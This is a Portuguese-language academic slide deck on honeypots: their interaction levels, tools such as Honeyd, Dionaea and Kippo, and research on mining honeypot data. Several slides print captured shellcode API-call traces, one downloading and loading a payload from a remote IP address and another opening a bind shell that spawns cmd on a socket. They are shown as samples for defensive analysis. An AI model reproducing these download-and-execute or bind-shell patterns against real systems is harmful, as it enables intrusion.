23
UNIVERSIDADE PRESBITERIANA MACKENZIE Programa de Pós Graduação em Engenharia Elétrica Laboratório de Computação Natural - LCoN Honeypots: o que são, para que servem e como extrair informações Pedro H. Matheus [email protected]

Honeypots: o que são, para que servem e como extrair informações

Embed Size (px)

Citation preview

Page 1: Honeypots: o que são, para que servem e como extrair informações

UNIVERSIDADE PRESBITERIANA MACKENZIEPrograma de Pós Graduação em Engenharia Elétrica

Laboratório de Computação Natural - LCoN

Honeypots: o que são, para que servem e como extrair informações

Pedro H. [email protected]

Page 2: Honeypots: o que são, para que servem e como extrair informações

UNIVERSIDADE PRESBITERIANA MACKENZIEPrograma de Pós Graduação em Engenharia Elétrica

Laboratório de Computação Natural - LCoN

• Agenda

• O que são Honeypots

• Para que servem

• Que informações podem ser extraídas ?

Page 3: Honeypots: o que são, para que servem e como extrair informações

3Setembro / [email protected]

Honeypot

Page 4: Honeypots: o que são, para que servem e como extrair informações

4Setembro / [email protected]

• Honeypots são sistemas computacionais cujo objetivo é ter falhas de segurança para serem atacadas e exploradas

O que são Honeypots

Page 5: Honeypots: o que são, para que servem e como extrair informações

5Setembro / [email protected]

• Baixa Interatividade

• Média Interatividade

• Alta Interatividade

Honeypot

Page 6: Honeypots: o que são, para que servem e como extrair informações

6Setembro / [email protected]

• Honeyd– É um pequeno programa que cria hosts virtuais na

rede, os hosts podem ser configurados para executarserviços arbitrarios, a suas caracteristicas podem seradaptadas para simularem certos sistemasoperacionais.

• SpamTrap– É um servidor de e-mail criado não para comunicação

de e-mails mas, para ser explorado por spammerspara enviar e-mails, esse servidor não encaminha o e-mail enviado para o destinatário, apenas armazena o e-mail para analise posterior.

Baixa Interatividade

Page 7: Honeypots: o que são, para que servem e como extrair informações

7Setembro / [email protected]

• DionaeaÉ uma evolução do Nepentes com suporte a IPV6e um novo meio de se ampliar a base deconhecimento que anteriormente era escrita emc++ agora é escrita em python possibilitando queuma gama maior de programadores criem eexpandam a base de conhecimento conformesuas necessidades.

Média Interatividade

• NepenthesNepenthes emula as vulnerabilidades para a coleta deinformações sobre potenciais ataques é utilizado uma base deconhecimento sobre as falhas para interagir comos atacantes, com o objetivo de obter o artefato malicioso.

Page 8: Honeypots: o que são, para que servem e como extrair informações

8Setembro / [email protected]

• Kippo

– Honeypot que simula o serviço de ssh, coletando informações de ataques de brute-force, e posteriormente os comandos enviados pelo atacante.

https://code.google.com/p/kippo/

Média Interatividade

Page 9: Honeypots: o que são, para que servem e como extrair informações

9Setembro / [email protected]

• Qebek– Modificação do QEMU para monitorar todas as

chamadas de sistema do Windows, permitindoanalisar, depurar e monitorar a execução de ataques ede artefatos maliciosos.

• Sebek– É um modulo do kernel instalado no Windows com o

proposito de coletar informações sobre os artefatosmaliciosos e os ataques contra os sistemas, elepermite a coleta de informações desde as teclaspressionadas até informações criptografadas.

Alta Interatividade

Page 10: Honeypots: o que são, para que servem e como extrair informações

10Setembro / [email protected]

O Fluxo de um ataque

Atacante Honeypot

File System

Base de Dados

Binarios

BitStream

Sniffer

Page 11: Honeypots: o que são, para que servem e como extrair informações

11Setembro / [email protected]

• Uso dos dados de rede bruto para extração de informações

• Estatística (Cukier et al. 2006)

• Associação (Ohrui et al. 2010)

• Agrupamento (Ghourabi et al. 2010)

• Correlação com SVM (Song et al. 2011)

• Longest Common Substring (Thakar et al. 2005)

• Redes Neurais MLP e KNN (Grégio et al. 2007)

Extração de informação de Honeypots

Page 12: Honeypots: o que são, para que servem e como extrair informações

12Setembro / [email protected]

• O que todos esses trabalhos trazem em comum é que utilizam os dados de rede para gerar as estatísticas, para efetuar o agrupamento, para criar as assinaturas e os padrões dos detectores de intrusão.

Extração de informação de Honeypots

Page 13: Honeypots: o que são, para que servem e como extrair informações

13Setembro / [email protected]

Que informações podem ser extraídas ?

Base de Dados

Page 14: Honeypots: o que são, para que servem e como extrair informações

14Setembro / [email protected]

Que informações podem ser extraídas ?

Binarios

Page 15: Honeypots: o que são, para que servem e como extrair informações

15Setembro / [email protected]

Que informações podem ser extraídas ?

BitStream

Page 16: Honeypots: o que são, para que servem e como extrair informações

16Setembro / [email protected]

Que informações podem ser extraídas ?[

{"call": "LoadLibraryA","args" : [

"urlmon"],"return" : "0x7df20000"

},{

"call": "URLDownloadToFile","args" : [

"",

"http:\/\/189.29.132.79:6402\/dkqc","x.",

"0","0"

],"return": "0"

},

{"call": "LoadLibraryA","args" : [

"x."],"return" :

"0x00000000"},{

"call": "ExitThread","args" : [

"0"],"return": "0"

}]

Page 17: Honeypots: o que são, para que servem e como extrair informações

17Setembro / [email protected]

Que informações podem ser extraídas ?[

{"call": "GetProcAddress","args" : [

"","CreateProcessA"

],"return" : "0x7c802367"

},{

"call": "GetProcAddress","args" : [

"","ExitThread"

],"return" : "0x7c80c058"

},

{"call": "GetProcAddress","args" : [

"","LoadLibraryA"

],"return" : "0x7c801d77"

},{

"call": "LoadLibraryA","args" : [

"ws2_32"],"return" : "0x71a10000"

},

Page 18: Honeypots: o que são, para que servem e como extrair informações

18Setembro / [email protected]

Que informações podem ser extraídas ?{

"call": "GetProcAddress","args" : [

"","WSASocketA"

],"return" : "0x71a18769"

},{

"call": "GetProcAddress","args" : [

"","bind"

],"return" : "0x71a13e00"

},

{"call": "GetProcAddress","args" : [

"","listen"

],"return" : "0x71a188d3"

},{

"call": "GetProcAddress","args" : [

"","accept"

],"return" : "0x71a21028"

},

Page 19: Honeypots: o que são, para que servem e como extrair informações

19Setembro / [email protected]

Que informações podem ser extraídas ?{

"call": "GetProcAddress","args" : [

"","closesocket"

],"return" : "0x71a19639"

},{

"call": "WSASocket","args" : [

"2","1","0","0","0","0"

],"return": "66"

},

{"call": "bind","args" : [

"66",{

"sin_family" : "2","sin_port" : "12045","sin_addr" : {

"s_addr" : "0.0.0.0"},"sin_zero" : " "

},"16"

],"return": "0"

},

Page 20: Honeypots: o que são, para que servem e como extrair informações

20Setembro / [email protected]

Que informações podem ser extraídas ?{

"call": "listen","args" : [

"66","1"

],"return": "0"

},{

"call": "accept","args" : [

"66",{

},""

],"return": "68"

},

{"call": "CreateProcess","args" : "", "cmd", "", "","1","0", "", "",

{"cb" : "0","lpReserved" : "0","lpDesktop" : "0","lpTitle" : "0","dwX" : "0","dwY" : "0","dwXSize" : "0","dwYSize" : "0","dwXCountChars" : "0","dwYCountChars" : "0","dwFillAttribute" : "0","dwFlags" : "0","wShowWindow" : "0","cbReserved2" : "0","lpReserved2" : "0","hStdInput" : "68","hStdOutput" : "68","hStdError" : "68"

},

Page 21: Honeypots: o que são, para que servem e como extrair informações

21Setembro / [email protected]

Que informações podem ser extraídas ?{"hProcess" : "4711","hThread" : "4712","dwProcessId" : "4712","dwThreadId" : "4714"}

],"return": "-1"

},{

"call": "closesocket","args" : [

"68"],"return": "0"

},

{"call": "closesocket","args" : [

"66"],"return": "0"

},{

"call": "ExitThread","args" : [

"0"],"return": "0"

}]

Page 22: Honeypots: o que são, para que servem e como extrair informações

22Setembro / [email protected]

Dúvidas

Page 23: Honeypots: o que são, para que servem e como extrair informações

23Setembro / [email protected]

• M. Cukier, R. Berthier, S. Panjwani, and S. Tan, “A statistical analysis of attack data to separate attacks,” in Dependable Systems and Networks, 2006. DSN 2006. International Conference on, 2006, pp. 383–392.

• M. Ohrui, H. Kikuchi, and M. Terada, “Mining association rules consisting of download servers from distributed honeypot observation,” in Network-Based Information Systems (NBiS), 2010 13th International Conference on, 2010, pp. 541–545.

• X. Tang, “The generation of attack signatures based on virtual honeypots,” in Parallel and Distributed Computing, Applications and Technologies (PDCAT), 2010 International Conference on, 2010, pp. 435–439.

• A. Ghourabi, T. Abbes, and A. Bouhoula, “Data analyzer based on data mining for honeypot router,” in Computer Systems and Applications (AICCSA), 2010 IEEE/ACS International Conference on, 2010, pp. 1–6.

• J. Song, H. Takakura, Y. Okabe, and Y. Kwon, “Correlation analysis between honeypot data and ids alerts using one-class svm,” Intrusion Detection Systems, In Tech, pp. 173–193, 2011.

• U. Thakar, S. Varma, and A. Ramani, “Honeyanalyzer–analysis and extraction of intrusion detection patterns & signatures using honeypot,” in Proceedings of the Second International Conference on Innovations in Information Technology, 2005.

• A. Grégio, R. Santos, and A. Montes, “Evaluation of data mining techniques for suspicious network activity classification using honeypots data,” in Defense and Security Symposium. International Society for Optics and Photonics, 2007, pp. 657 006–657 006.

• S. Kaiser, “Biclustering: Methods, Software and Application”, Munchen 2011, Disponível em: http://edoc.ub.uni-muenchen.de/13073/1/Kaiser_Sebastian.pdf

Referências